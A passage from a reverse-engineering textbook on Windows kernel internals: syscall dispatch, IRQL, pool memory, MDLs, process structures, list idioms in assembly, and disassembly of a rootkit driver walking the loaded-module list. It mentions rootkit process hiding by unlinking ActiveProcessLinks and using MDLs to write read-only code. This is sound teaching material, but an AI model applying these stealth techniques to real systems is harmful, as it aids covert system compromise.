.text:004D0E18   LDR.W           PC, =(KiInterruptException+1)

.text:004D0E1C   LDR.W           PC, =(KiFIQException+1)

Whenever the SVC instruction is executed, the processor switches to super-

visor mode and calls KiSWIException to handle the exception. This function 

can be viewed as the ARM equivalence of KiSystemCall64 on x64. Again, to 

understand the whole system call process on ARM, consider the user-mode 

function ntdll!NtQueryInformationProcess:

01: NtQueryInformationProcess
02:   MOV.W           R12, #0x17            ; NtQueryInformationProcess
03:   SVC             1
04:   BX              LR

The system call number is fi rst put in R12 and followed by SVC. When SVC is 

executed, you go into the handler KiSWIException:

01: KiSWIException    

02: trapframe= -0x1A0

03:   SUB             SP, SP, #0x1A0

04:   STRD.W          R0, R1, [SP,#0x1A0+trapframe._R0]
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05:   STRD.W          R2, R3, [SP,#0x1A0+trapframe._R2]

06:   STR.W           R12, [SP,#0x1A0+trapframe._R12]

07:   STR.W           R11, [SP,#0x1A0+trapframe._R11]

08:   ORR.W           LR, LR, #1

09:   MOVS            R0, #0x30

10:   MRC             p15, 0, R12,c13,c0, 3 ; get the current thread

11:   STRD.W          LR, R0, [SP,#0x1A0+trapframe._Pc] ; LR is the return 

                                                        ; address after the

                                                        ; SVC instruction. It

                                                        ; saved here so the

                                                          ; system knows where to

                                                        ; return after the

                                                        ; syscall is done

12:   LDRB.W          R1, [R12,#_ETHREAD.Tcb.Header.___u0.__s3.DebugActive]

13:   MOVS            R3, #2

14:   STR             R3, [SP,#0x1A0+trapframe.ExceptionActive]

15:   ADD.W           R11, SP, #0x1A0+trapframe._R11

16:   CMP             R1, #0

17:   BNE             case_DebugMode

18: loc_4D00D0                      

19:   MRC             p15, 0, R0,c1,c0, 2

20:   MOVS            R1, #0

21:   TST.W           R0, #0xF00000

22:   BEQ             loc_4D00F2

23:   ADD             R3, SP, #0x1A0+var_C8

24:   VMRS            R2, FPSCR

25:   ADD             R1, SP, #sizeof(_KTRAP_FRAME)

26:   STR             R2, [SP,#0x1A0+var_114]

27:   VSTMIA          R3, {D8-D15}

28:   BIC.W           R2, R2, #0x370000

29:   VMSR            FPSCR, R2

30: 

31: loc_4D00F2                            

32:   STR             R1, [SP,#0x1A0+trapframe.VfpState]

33:   LDR             R0, [SP,#0x1A0+trapframe._R12]   ; retrieve saved 

syscall

                                                       ; from line 6

34:   LDR             R1, [SP,#0x1A0+trapframe._R0]

35:   MOV             R2, SP

36:   CPS.W           #0x1F

37:   STR.W           SP, [R2,#0x1A0+trapframe._Sp]

38:   STR.W           LR, [R2,#0x1A0+trapframe._Lr]

39:   CPSIE.W         I, #0x13

40:   STRD.W          R0, R1, [R12,#_ETHREAD.Tcb.SystemCallNumber]

                                                      ; write syscall# to the

                                                      ; thread

41:   MRC             p15, 0, R0,c13,c0, 4

42:   BFC.W           R0, #0, #0xC

43:   LDR.W           R1, [R0,#0x594]

44:   MOV             R2, #0x5CF300

45:   MOV             R12, #KiTrapFrameLog

46:   CMP             R1, #4
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47:   BCS             loc_4D0178

48: 

49: 

50: loc_4D0178                     

51:   MRC             p15, 0, R12,c13,c0, 3

52:   LDR.W           R0, [R12,#_ETHREAD.Tcb.SystemCallNumber]

53:   BL              KiSystemService        ; dispatch the system call

54:   B               KiSystemServiceExit    ; return back to usermode

This function does many things, but the main points are that it constructs 

a trap frame (nt!_KTRAP_FRAME) to save some registers, saves the user-mode 

return address (SVC automatically puts the return address in LR), saves the 

system call number in the current thread object, and dispatches the system 

call (same mechanism as x64). The return back to user mode is done through 

KiSystemServiceExit:

01: KiSystemServiceExit
02: ...
03:   BIC.W           R0, R0, #1
04:   MOV             R3, SP
05:   ADD             SP, SP, #0x1A0
06:   CPS.W           #0x1F
07:   LDR.W           SP, [R3,#_KTRAP_FRAME._Sp]
08:   LDRD.W          LR, R11, [R3,#_KTRAP_FRAME._Lr]
09:   CPS.W           #0x12
10:   STRD.W          R0, R1, [SP]
11:   LDR             R0, [R3,#_KTRAP_FRAME._R0]
12:   MOVS            R1, #0
13:   MOVS            R2, #0
14:   MOVS            R3, #0
15:   MOV             R12, R1
16:   RFEFD.W         SP       ; return back to usermode

Interrupt Request Level

The Windows kernel uses an abstract concept called interrupt request level (IRQL) 
to manage system interruptability. Interrupts can be divided into two general 

categories: software and hardware. Software interrupts are synchronous events 

that are triggered by conditions in the running code (divide by 0, execution of an 

INT instruction, page fault, etc.); hardware interrupts are asynchronous events 

that are triggered by devices connected to the CPU. Hardware interrupts are 

asynchronous because they can happen at any time; they are typically used to 

indicate I/O operations to the processor. The details of how hardware inter-

rupts work are hardware-specifi c and hence abstracted away by the hardware 

abstraction layer (HAL) component of Windows.

Concretely speaking, an IRQL is simply a number (defi ned by the type KIRQL, 

which is actually a UCHAR) assigned to a processor. Windows associates an IRQL 
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with an interrupt and defi nes the order in which it is handled. The exact num-

ber associated with each IRQL may vary from platform to platform, so we will 

reference them only by name. The general rule is that interrupts at IRQL X will 

mask all interrupts that are less than X. Once the interrupt is handled, the kernel 

lowers the IRQL so that it can run other tasks. Because IRQL is a per-processor 

value, multiple processors can simultaneously operate at different IRQLs.

There are several different IRQLs, but the most important ones to remember 

are as follows:

 ■ PASSIVE LEVEL (0)—This is the lowest IRQL in the system. All user-

mode code and most kernel code executes at this IRQL.

 ■ APC LEVEL (1) —This is the IRQL at which asynchronous procedure calls 

(APCs) are executed. (See the section “Asynchronous Procedure Calls.”)

 ■ DISPATCH LEVEL (2) —This is the highest software IRQL in the system. 

The thread dispatcher and deferred procedure calls (DPCs) run at this 

IRQL. (See the section “Deferred Procedure Calls.”) Code at this IRQL 

cannot wait.

N O T E  IRQLs higher than DISPATCH_LEVEL are typically associated with real hard-

ware interrupts or extremely low-level synchronization mechanisms. For example, 

IPI_LEVEL is used for communication between processors.

While it seems like IRQL is a thread-scheduling property, it is not. It is a per-

processor property, whereas thread priority is a per-thread property.

Because IRQL is a software abstraction of interrupt priority, the underlying 

implementation has a direct correlation with the hardware. For example, on 

x86/x64, the local interrupt controller (LAPIC) in the processor has a program-

mable task priority register (TPR) and a read-only processor priority register 

(PPR). The TPR determines the interrupt priority; the PPR represents the current 

interrupt priority. The processor will deliver only interrupts whose priority is 

higher than the PPR. In practical terms, when Windows needs to change the 

interrupt priority, it calls the kernel functions KeRaiseIrql/KeLowerIrql, which 

program the TPR on the local APIC. This can be observed in the defi nition on 

x64 (on x64, CR8 is a shadow register allowing quick access to the LAPIC TPR; 

x86 systems must program the LAPIC to set the TPR):

KeRaiseIrql

01: KzRaiseIrql proc near
02:   mov     rax, cr8
03:   movzx   ecx, cl
04:   mov     cr8, rcx
05:   retn
06: KzRaiseIrql endp
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KeLowerIrql

01: KzLowerIrql proc near
02:   movzx   eax, cl
03:   mov     cr8, rax
04:   retn
05: KzLowerIrql endp

The preceding concepts explain why code running at high IRQL cannot be 

preempted by code at lower IRQL.

Pool Memory

Similar to user-mode applications, kernel-mode code can allocate memory at 

run-time. The general name for it is pool memory; one can think it like the heap 

in user mode. Pool memory is generally divided into two types: paged pool and 

non-paged pool. Paged pool memory is memory that can be paged out at any 

given time by the memory manager. When kernel-mode code touches a buf-

fer that is paged out, it triggers a page-fault exception that causes the memory 

manager to page in that buffer from disk. Non-paged pool memory is memory 

that can never be paged out; in other words, accessing such memory never 

triggers a page fault.

This distinction is important because it has consequences for code running 

at high IRQLs. Suppose a kernel thread is currently running at DISPATCH_LEVEL 

and it references memory that has been paged out and needs to be handled by 

the page-fault handler; because the page fault handler (see MmAccessFault) needs 

to issue a request to bring the page from disk and the thread dispatcher runs at 

DISPATCH_LEVEL, it cannot resolve the exception and results in a bugcheck. This 

is one of the reasons why code running at DISPATCH_LEVEL must only reside in 

and access non-paged pool memory.

Pool memory is allocated and freed by the ExAllocatePool* and ExFreePool* 

family of functions. By default, non-paged pool memory (type NonPagedPool) is 

mapped with read, write, and execute permission on x86/x64, but non-executable 

on ARM; on Windows 8, one can request non-executable, non-paged pool memory 

by specifying the NonPagedPoolNX pool type. Paged pool memory is mapped 

read, write, executable on x86, but non-executable on x64/ARM.

Memory Descriptor Lists

A memory descriptor list (MDL) is a data structure used to describe a set of 

physical pages mapped by a virtual address. Each MDL entry describes one 

contiguous buffer, and multiple entries can be linked together. Once an MDL is 

built for an existing buffer, the physical pages can be locked in memory (mean-

ing they will not be reused) and can be mapped into another virtual address. 
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To be useful, MDLs must be initialized, probed, and locked, and then mapped. 

To better understand the concept, consider some of the practical uses of MDLs.

Suppose a driver needs to map some memory in kernel space to the user-mode 

address space of a process or vice versa. In order to achieve this, it would fi rst 

initialize an MDL to describe the memory buffer (IoAllocateMdl), ensure that the 

current thread has access to those pages and lock them (MmProbeAndLockPages), 

and then map those pages in memory (MmMapLockedPagesSpecifyCache) in 

that process.

Another scenario is when a driver needs to write to some read-only pages 

(such as those in the code section). One way to achieve this is through MDLs. 

The driver would initialize the MDL, lock it, and then map it to another virtual 

address with write permission. In this scenario, the driver can use MDLs to 

implement a VirtualProtect-like function in kernel mode.

Processes and Threads

A thread is defi ned by two kernel data structures: ETHREAD and KTHREAD. An 

ETHREAD structure contains housekeeping information about the thread (i.e., 

thread id, associated process, debugging enabled/disabled, etc.). A KTHREAD 

structure stores scheduling information for the thread dispatcher, such as 

thread stack information, processor on which to run, alertable state, and so on. 

An ETHREAD contains a KTHREAD.

The Windows scheduler operates on threads.

A process contains at least one thread and is defi ned by two kernel data 

structures: EPROCESS and KPROCESS. An EPROCESS structure stores basic infor-

mation about the process (i.e., process id, security token, list of threads, etc.). 

A KPROCESS structure stores scheduling information for the process (i.e., page 

directory table, ideal processor, system/user time, etc.). An EPROCESS contains a 

KPROCESS. Just like ETHREAD and KTHREAD, these data structures are also opaque 

and should only be accessed with documented kernel routines. However, you 

can view their fi eld members through the kernel debugger, as follows:

Processes

kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2c8 ProcessLock      : _EX_PUSH_LOCK
   +0x2d0 CreateTime       : _LARGE_INTEGER
   +0x2d8 RundownProtect   : _EX_RUNDOWN_REF
   +0x2e0 UniqueProcessId  : Ptr64 Void
   +0x2e8 ActiveProcessLinks : _LIST_ENTRY
   +0x2f8 Flags2           : Uint4B
   +0x2f8 JobNotReallyActive : Pos 0, 1 Bit
   +0x2f8 AccountingFolded : Pos 1, 1 Bit
   +0x2f8 NewProcessReported : Pos 2, 1 Bit
...
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   +0x3d0 InheritedFromUniqueProcessId : Ptr64 Void
   +0x3d8 LdtInformation   : Ptr64 Void
   +0x3e0 CreatorProcess   : Ptr64 _EPROCESS
   +0x3e0 ConsoleHostProcess : Uint8B
   +0x3e8 Peb              : Ptr64 _PEB
   +0x3f0 Session          : Ptr64 Void
...
0: kd> dt nt!_KPROCESS
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 ProfileListHead  : _LIST_ENTRY
   +0x028 DirectoryTableBase : Uint8B
   +0x030 ThreadListHead   : _LIST_ENTRY
   +0x040 ProcessLock      : Uint4B
...
   +0x0f0 ReadyListHead    : _LIST_ENTRY
   +0x100 SwapListEntry    : _SINGLE_LIST_ENTRY
   +0x108 ActiveProcessors : _KAFFINITY_EX
...

Threads

0: kd> dt nt!_ETHREAD
   +0x000 Tcb              : _KTHREAD
   +0x348 CreateTime       : _LARGE_INTEGER
   +0x350 ExitTime         : _LARGE_INTEGER
...
   +0x380 ActiveTimerListLock : Uint8B
   +0x388 ActiveTimerListHead : _LIST_ENTRY
   +0x398 Cid              : _CLIENT_ID
...
0: kd> dt nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : Ptr64 Void
   +0x020 QuantumTarget    : Uint8B
   +0x028 InitialStack     : Ptr64 Void
   +0x030 StackLimit       : Ptr64 Void
   +0x038 StackBase        : Ptr64 Void
   +0x040 ThreadLock       : Uint8B
...
   +0x0d8 WaitListEntry    : _LIST_ENTRY
   +0x0d8 SwapListEntry    : _SINGLE_LIST_ENTRY
   +0x0e8 Queue            : Ptr64 _KQUEUE
   +0x0f0 Teb              : Ptr64 Void

N O T E  Although we say that these should be accessed only with documented kernel 

routines, real-world rootkits modify semi-documented or completely undocumented 

fi elds in these structures to achieve their objectives. For example, one way to hide a 

process is to remove it from the ActiveProcessLinks fi eld in the EPROCESS struc-

ture. However, because they are opaque and undocumented, the fi eld off sets can (and 

do) change from release to release.
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There are also analogous user-mode data structures storing information about 

processes and threads. For processes, there is the process environment block (PEB/

ntdll!_PEB), which stores basic information such as base load address, loaded 

modules, process heaps, and so on. For threads, there is the thread environment 

block (TEB/ntdll!_TEB), which stores thread scheduling data and information 

for the associated process. User-mode code can always access the TEB through 

the FS (x86), GS (x64) segment, or coprocessor 15 (ARM). You will frequently see 

system code accessing these objects, so they are listed here:

Current Thread (Kernel Mode)

x86

mov     eax, large fs:124h

x64

mov     rax, gs:188h

ARM

MRC             p15, 0, R3,c13,c0, 3
BICS.W          R0, R3, #0x3F

TEB (User Mode)

x86

mov     edx, large fs:18h

x64

mov     rax, gs:30h

ARM

MRC             p15, 0, R4,c13,c0, 2

Execution Context

Every running thread has an execution context. An execution context contains 

the address space, security token, and other important properties of the run-

ning thread. At any given time, Windows has hundreds of threads running in 

different execution contexts. From a kernel perspective, three general execution 

contexts can be defi ned:

 ■ Thread context—Context of a specifi c thread (or usually the requestor 

thread in the case of a user-mode thread requesting service from the kernel)

 ■ System context—Context of a thread executing in the System process

 ■ Arbitrary context—Context of whatever thread was running before the 

scheduler took over

Recall that each process has its own address space. While in kernel mode, it 

is important to know what context your code is running in because that deter-

mines the address space you are in and security privileges you own. There is 
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no list of rules to precisely determine the execution context in a given scenario, 

but the following general tips can help:

 ■ When a driver is loaded, its entry point (DriverEntry) executes in System 

context.

 ■ When a user-mode application sends a request (IOCTL) to a driver, the 

driver’s IOCTL handler runs in thread context (i.e., the context of the 

user-mode thread that initiated the request). 

 ■ APCs run in thread context (i.e., the context of the thread in which the 

APC was queued).

 ■ DPCs and timers run in arbitrary context.

 ■ Work items run in System context.

 ■ System threads run in System context if the ProcessHandle parameter is 

NULL (common case).

For example, a driver’s entry point only has access to the System process 

address space and hence cannot access any other process space without causing 

an access violation. If a kernel-mode thread wants to change its execution con-

text to another process, it can use the documented API KeStackAttachProcess. 

This is useful when a driver needs to read/write a specifi c process’ memory.

Kernel Synchronization Primitives

The kernel provides common synchronization primitives to be used by other 

components. The most common ones are events, spin locks, mutexes, resource 

locks, and timers. This section explains their interface and discusses their usage.

Event objects are used to indicate the state of an operation. For example, 

when the system is running low on non-paged pool memory, the kernel can 

notify a driver through events. An event can be in one of two states: signaled or 

non-signaled. The meaning of signaled and non-signaled depends on the usage 

scenario. Internally, an event is an object defi ned by the KEVENT structure and 

initialized by the KeInitializeEvent API. After initializing the event, a thread 

can wait for it with KeWaitForSingleObject or KeWaitForMultipleObjects. 

Events are commonly used in drivers to notify other threads that something is 

fi nished processing or a particular condition was satisfi ed.

Timers are used to indicate that a certain time interval has passed. For example, 

whenever we enter a new century, the kernel executes some code to update the 

time; the underlying mechanism for this is timers. Internally, timer objects are 

defi ned by the KTIMER structure and initialized by the KeInitializeTimer/Ex 

routine. When initializing timers, one can specify an optional DPC routine to 

be executed when they expire. By defi nition, each processor has its own timer 
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queue; specifi cally, the TimerTable fi eld in the PRCB is a list of timers for that 

particular processor. Timers are commonly used to do something in a periodic 

or time-specifi c manner. Both timers and DPCs are covered in more detail later 

in this chapter.

Mutexes are used for exclusive access to a shared resource. For example, if 

two threads are concurrently modifying a shared linked list without a mutex, 

they may corrupt the list; the solution is to only access the linked list while 

holding a mutex. While the core semantic of a mutex does not change, the 

Windows kernel offers two different kinds of mutexes: guarded mutex and fast 
mutex. Guarded mutexes are faster than fast mutexes but are only available on 

Windows 2003 and higher. Internally, a mutex is defi ned by either a FAST_MUTEX 

or GUARDED_MUTEX structure and initialized by ExInitialize{Fast,Guarded}

Mutex. After initialization, they can be acquired and released through different 

APIs; see the Windows Driver Kit documentation for more information.

Spin locks are also used for exclusive access to a shared resource. While they 

are conceptually similar to mutexes, they are used to protect shared resources 

that are accessed at DISPATCH_LEVEL or higher IRQL. For example, the kernel 

acquires a spin lock before modifying critical global data structures such as 

the active process list; it must do this because on a multi-processor system, 

multiple threads can be accessing and modifying the list at the same time. 

Internally, spin locks are defi ned by the KSPIN_LOCK structure and initialized 

with KeInitializeSpinLock. After initialization, they can be acquired/released 

through various documented APIs; see the WDK documentation for more infor-

mation. Note that code holding on to a spin lock is executing at DISPATCH_LEVEL 

or higher; hence, the executing code and the memory it touches must always 

be resident.

Lists

Linked lists are the fundamental building blocks of dynamic data structures in 

the kernel and drivers. Many important kernel data structures (such as those 

related to processes and threads) are built on top of lists. In fact, lists are so com-

monly used that the WDK provides a set of functions to create and manipulate 

them in a generic way. Although lists are conceptually simple and have no 

direct relationship to the understanding of kernel concepts or the practice of 

reverse engineering, they are introduced here for two important reasons. First, 

they are used in practically every Windows kernel data structure discussed in 

this chapter. The kernel commonly operates on entries from various lists (i.e., 

loaded module list, active process list, waiting threads list, etc.) contained in 

these structures, so it’s important to understand the mechanics of such opera-

tions. Second, while the functions operating on lists, e.g., InsertHeadList, 
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InsertTailList, RemoveHeadList, RemoveEntryList, etc., appear in source form 

in the WDK headers, they are always inlined by the compiler and consequently 

will never appear as “functions” at the assembly level in real-life binaries; in 

other words, they will never appear as a call or branch destination. Hence, you 

need to understand their implementation details and usage patterns so that you 

can recognize them at the assembly level.

Implementation Details

The WDK provides functions supporting three list types:

 ■ Singly-linked list—A list whose entries are linked together with one 

pointer (Next).

 ■ Sequenced singly-linked list—A singly-linked list with support for 

atomic operations. For example, you can delete the fi rst entry from the 

list without worrying about acquiring a lock. 

 ■ Circular doubly-linked list—A list whose entries are linked together with 

two pointers, one pointing to the next entry (Flink) and one pointing to 

the previous entry (Blink).

All three are conceptually identical in terms of usage at the source code level. 

This chapter covers only doubly-linked lists because they are the most common. 

In one of the exercises, you will be asked to review the WDK documentation on 

list operations and write a driver that uses all three list types.

The implementation is built on top of one structure:

typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY;

A LIST_ENTRY can represent a list head or a list entry. A list head represents 

the “head” of the list and usually does not store any data except for the LIST_

ENTRY structure itself; all list functions require a pointer to the list head. A list 

entry is the actual entry that stores data; in real life, it is a LIST_ENTRY structure 

embedded inside a larger structure.

Lists must be initialized with InitializeListHead before usage. This func-

tion simply sets the Flink and Blink fi elds to point to the list head. Its code is 

shown below and illustrated in Figure 3-4:

VOID InitializeListHead(PLIST_ENTRY ListHead) {
    ListHead->Flink = ListHead->Blink = ListHead;
    return;
}
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Flink

Blink

Figure 3-4

In assembly form, this would translate to three instructions: one to retrieve 

ListHead and two to fi ll out the Flink and Blink pointers. Consider how 

InitializeListHead manifests itself in x86, x64, and the ARM assembly:

x86

lea     eax, [esi+2Ch]
mov     [eax+4], eax
mov     [eax], eax

x64

lea     r11, [rbx+48h]
mov     [r11+8], r11
mov     [r11], r11

ARM

ADDS.W          R3, R4, #0x2C
STR             R3, [R3,#4]
STR             R3, [R3]

In all three cases, the same pointer and register are used in write-only opera-

tions. Another key observation is that the writes at offset +0 and +4/8 from the 

base register; these offsets correspond to the Flink and Blink pointers in the 

structure. Whenever you see this code pattern, you should think of lists.

After initializing the list, entries can be inserted at the head or the tail. As 

mentioned previously, a list entry is simply a LIST_ENTRY inside a larger struc-

ture; for example, the kernel KDPC structure (discussed later in the chapter) 

has a DpcListEntry fi eld:

C Defi nition

typedef struct _KDPC {
    UCHAR Type;
    UCHAR Importance;
    volatile USHORT Number;
    LIST_ENTRY DpcListEntry;
    PKDEFERRED_ROUTINE DeferredRoutine;
    PVOID DeferredContext;
    PVOID SystemArgument1;
    PVOID SystemArgument2;
    __volatile PVOID DpcData;
} KDPC, *PKDPC, *PRKDPC;
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x64

0: kd> dt nt!_KDPC
   +0x000 Type             : UChar
   +0x001 Importance       : UChar
   +0x002 Number           : Uint2B
   +0x008 DpcListEntry     : _LIST_ENTRY
   +0x018 DeferredRoutine  : Ptr64     void
   +0x020 DeferredContext  : Ptr64 Void
   +0x028 SystemArgument1  : Ptr64 Void
   +0x030 SystemArgument2  : Ptr64 Void
   +0x038 DpcData          : Ptr64 Void

Suppose you have a list with one KDPC entry, as shown in Figure 3-5.

Flink

Blink
Flink

Blink

ListHead

ListHead Importance

Flink

Blink

Type

KDPC Entry 1

…

…

Figure 3-5

Insertion is done with InsertHeadList and InsertTailList. Consider the 

insertion of an entry at the head, as shown in Figure 3-6.

Flink

Blink

ListHead KDPC Entry KDPC Entry

…

…

…

Blink

Type

Flink

…

Blink

…

Type

Flink

Figure 3-6

The source code for these routines and how they may manifest in assembly 

form are shown here:
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N O T E  These snippets are taken from the kernel function KeInsertQueueDpc on 

Windows 8, with a couple of lines removed for clarity. The point here is to observe how 

the new entry is inserted in the list. Instruction scheduling might change the order of 

some instructions, but they will be mostly the same.

InsertHeadList

C

VOID InsertHeadList(PLIST_ENTRY ListHead, PLIST_ENTRY Entry) {
    PLIST_ENTRY Flink;
    Flink = ListHead->Flink;
    Entry->Flink = Flink;
    Entry->Blink = ListHead;
    Flink->Blink = Entry;
    ListHead->Flink = Entry;
    return;
}

ARM

LDR     R1, [R5] 
STR     R5, [R2,#4]
STR     R1, [R2]
STR     R2, [R1,#4]
STR     R2, [R5]

x86

mov     edx, [ebx]
mov     [ecx], edx
mov     [ecx+4], ebx
mov     [edx+4], ecx
mov     [ebx], ecx

x64

mov     rcx, [rdi]
mov     [rax+8], rdi
mov     [rax], rcx
mov     [rcx+8], rax
mov     [rdi], rax

InsertTailList

C

VOID InsertTailList(PLIST_ENTRY ListHead, PLIST_ENTRY Entry) {
    PLIST_ENTRY Blink;
    Blink = ListHead->Blink;
    Entry->Flink = ListHead;
    Entry->Blink = Blink;
    Blink->Flink = Entry;
    ListHead->Blink = Entry;
    return;
}
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ARM

LDR     R1, [R5,#4]
STR     R5, [R2]
STR     R1, [R2,#4]
STR     R2, [R1]
STR     R2, [R5,#4]

x86

mov     ecx, [ebx+4]
mov     [eax], ebx
mov     [eax+4], ecx
mov     [ecx], eax
mov     [ebx+4], eax

x64

mov     rcx, [rdi+8]
mov     [rax], rdi
mov     [rax+8], rcx
mov     [rcx], rax
mov     [rdi+8], rax

In the preceding snippets, R5/EBX/RDI point to ListHead, and R2/ECX/RAX 

point to Entry.

Removal is done with RemoveHeadList, RemoveTailList, and RemoveEntryList. 

These routines are typically preceded by the IsListEmpty function, which simply 

checks whether the list head’s Flink points to itself: 

IsListEmpty

C

BOOLEAN IsListEmpty(PLIST_ENTRY ListHead) {
    return (BOOLEAN)(ListHead->Flink == ListHead);
}

ARM

LDR R2, [R4]
CMP R2, R4

x86

mov eax, [esi]
cmp eax, esi

x64

mov rax, [rbx]
cmp rax, rbx

RemoveHeadList

C

PLIST_ENTRY RemoveHeadList(PLIST_ENTRY ListHead) {
    PLIST_ENTRY Flink;
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    PLIST_ENTRY Entry;
    Entry = ListHead->Flink;
    Flink = Entry->Flink;
    ListHead->Flink = Flink;
    Flink->Blink = ListHead;
    return Entry;
}

ARM

LDR R2, [R4]
LDR R1, [R2]
STR R1, [R4]
STR R4, [R1,#4]

x86

mov eax, [esi]
mov ecx, [eax]
mov [esi], ecx
mov [ecx+4], esi

x64

mov rax, [rbx]
mov rcx, [rax]
mov [rbx], rcx
mov [rcx+8], rbx

RemoveTailList

C

PLIST_ENTRY RemoveTailList(PLIST_ENTRY ListHead) {
    PLIST_ENTRY Blink;
    PLIST_ENTRY Entry;
    Entry = ListHead->Blink;
    Blink = Entry->Blink;
    ListHead->Blink = Blink;
    Blink->Flink = ListHead;
    return Entry;
}

ARM

LDR  R6, [R5,#4]
LDR  R2, [R6,#4]
STR  R2, [R5,#4]
STR  R5, [R2]

x86

mov  ebx, [edi+4]
mov  eax, [ebx+4]
mov  [edi+4], eax
mov  [eax], edi
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x64

mov  rsi, [rdi+8]
mov  rax, [rsi+8]
mov  [rdi+8], rax
mov  [rax], rdi

RemoveEntryList

C

BOOLEAN RemoveEntryList(PLIST_ENTRY Entry){
    PLIST_ENTRY Blink;
    PLIST_ENTRY Flink;
    Flink = Entry->Flink;
    Blink = Entry->Blink;
    Blink->Flink = Flink;
    Flink->Blink = Blink;
    return (BOOLEAN)(Flink == Blink);
}

ARM

LDR  R1,[R0]
LDR  R2,[R0,#4]
STR  R1,[R2]
STR  R2,[R1,#4]

x86

mov  edx, [ecx]
mov  eax, [ecx+4]
mov  [eax], edx
mov  [edx+4], eax

x64

mov  rdx, [rcx]
mov  rax, [rcx+8]
mov  [rax], rdx
mov  [rdx+8], rax

Note that all list manipulation functions operate solely on the LIST_ENTRY 

structure. In order to do useful things with a list entry, code needs to manipu-

late the actual data in the entry. How do programs access fi elds in a list entry? 

This is done with the CONTAINING_RECORD macro:

#define CONTAINING_RECORD(address, type, field) ((type *)( \

                                             (PCHAR)(address) - \

                                             (ULONG_PTR)(&((type 

*)0)->field)))

CONTAINING_RECORD returns the base address of a structure using the following 

method: It calculates the offset of a fi eld in a structure by casting the structure 

pointer to 0, then subtracts that from the real address of the fi eld. In practice, 

this macro usually takes the address of the LIST_ENTRY fi eld in the list entry, 



 Chapter 3 ■ The Windows Kernel 119

c03.indd 09:39:18:AM  07/13/2016 Page 119

the type of the list entry, and the name of that fi eld. For example, suppose you 

have a list of KDPC entries (see defi nition earlier) and you want a function to 

access the DeferredRoutine fi eld; the code would be as follows:

PKDEFERRED_ROUTINE ReadEntryDeferredRoutine (PLIST_ENTRY entry) {

       PKDPC p;
       p = CONTAINING_RECORD(entry, KDPC, DpcListEntry);
       return p->DeferredRoutine;
}

This macro is commonly used immediately after calling one of the list removal 

routines or during list entry enumeration.

Walk-Through

Having discussed the concepts and implementation details of the list manip-

ulation functions in kernel mode, we will now apply that to the analysis of 

Sample C. This walk-through has three objectives:

 ■ Show one common usage of lists in a real-life driver/rootkit

 ■ Demonstrate the uncertainties a reverse engineer faces in practice

 ■ Discuss the problems of undocumented structures and hardcoded offsets

This driver does many things, but we are only interested in two functions: 

sub_11553 and sub_115DA. Consider the following snippet from sub_115DA:

01: .text:000115FF   mov     eax, dword_1436C

02: .text:00011604   mov     edi, ds:wcsncpy

03: .text:0001160A   mov     ebx, [eax]

04: .text:0001160C   mov     esi, ebx

05: .text:0001160E loop_begin:                          

06: .text:0001160E   cmp     dword ptr [esi+20h], 0

07: .text:00011612   jz      short failed

08: .text:00011614   push    dword ptr [esi+28h]        

09: .text:00011617   call    ds:MmIsAddressValid

10: .text:0001161D   test    al, al

11: .text:0001161F   jz      short failed

12: .text:00011621   mov     eax, [esi+28h]

13: .text:00011624   test    eax, eax

14: .text:00011626   jz      short failed

15: .text:00011628   movzx   ecx, word ptr [esi+24h]

16: .text:0001162C   shr     ecx, 1

17: .text:0001162E   push    ecx                           ; size_t

18: .text:0001162F   push    eax                           ; wchar_t *

19: .text:00011630   lea     eax, [ebp+var_208]

20: .text:00011636   push    eax                           ; wchar_t *

21: .text:00011637   call    edi ; wcsncpy

22: .text:00011639   lea     eax, [ebp+var_208]

23: .text:0001163F   push    eax                           ; wchar_t *

24: .text:00011640   call    ds:_wcslwr

25: .text:00011646   lea     eax, [ebp+var_208]
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26: .text:0001164C   push    offset aKrnl                  ; "krnl"

27: .text:00011651   push    eax                           ; wchar_t *

28: .text:00011652   call    ds:wcsstr

29: .text:00011658   add     esp, 18h

30: .text:0001165B   test    eax, eax

31: .text:0001165D   jnz     short matched_krnl

32: .text:0001165F   mov     esi, [esi]

33: .text:00011661   cmp     esi, ebx

34: .text:00011663   jz      short loop_end

35: .text:00011665   jmp     short loop_begin

36: .text:00011667 matched_krnl:                         

37: .text:00011667   lea     eax, [ebp+var_208]

38: .text:0001166D   push    '\'                           ; wchar_t

39: .text:0001166F   push    eax                           ; wchar_t *

40: .text:00011670   call    ds:wcsrchr

41: .text:00011676   pop     ecx

42: .text:00011677   test    eax, eax

Lines 1–4 read a pointer from a global variable at dword_1436C and save it 

in EBX and ESI. The loop body references this pointer at offset 0x20 and 0x28; 

therefore, you can deduce that it is a pointer to a structure of at least 0x2c bytes 

in size. At the end of the loop, it reads another pointer from the structure and 

compares it against the original pointer (saved in line 3). Note that the pointer 

is read from offset 0. Hence, at this point, you can surmise that this loop is iter-

ating over a list in which the “next” pointer is at offset 0. Can you claim that 

this structure contains a LIST_ENTRY fi eld at offset 0? No, there is not enough 

concrete data at the moment to support that. Let’s fi gure out where the global 

variable dword_1436C comes from.

sub_11553 uses the STDCALL calling convention and takes two parameters: 

a pointer to a DRIVER_OBJECT, and a pointer to a global variable dword_1436C. 

It has the following interesting code snippet:

01: .text:00011578   mov     eax, 0FFDFF034h

02: .text:0001157D   mov     eax, [eax]

03: .text:0001157F   mov     eax, [eax+70h]

04: ...

05: .text:0001159E   mov     ecx, [ebp+arg_4]  ; pointer to the global var

06: .text:000115A1   mov     [ecx], eax

Line 2 reads a pointer from a hardcoded address, 0xFFDFF034. On Windows 

XP, there is a processor control block structure (discussed later in the chapter) 

at 0xFFDFF000 and offset 0x34 is the KdVersionBlock pointer. Lines 3–6 read 

a pointer value at offset 0x70 into the KdVersionBlock and write it back to the 

global variable; you know it is a pointer because it is used to iterate the list 

entries in sub_115DA. In order to fi gure out the exact list entry type, you need to 

determine what is at offset 0x70 of the KdVersionBlock structure. Because this is 

an undocumented OS-specifi c structure, you have to either reverse engineer the 

Windows XP kernel or search the Internet to see if other people already fi gured it 

out. The results indicate that on Windows XP, offset 0x70 of the KdVersionBlock 
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structure is a pointer to a global list head called PsLoadedModuleList. Each 

entry in this list is of type KLDR_DATA_TABLE_ENTRY and it stores information 

about currently loaded kernel modules (name, base address, size, etc.); the fi rst 

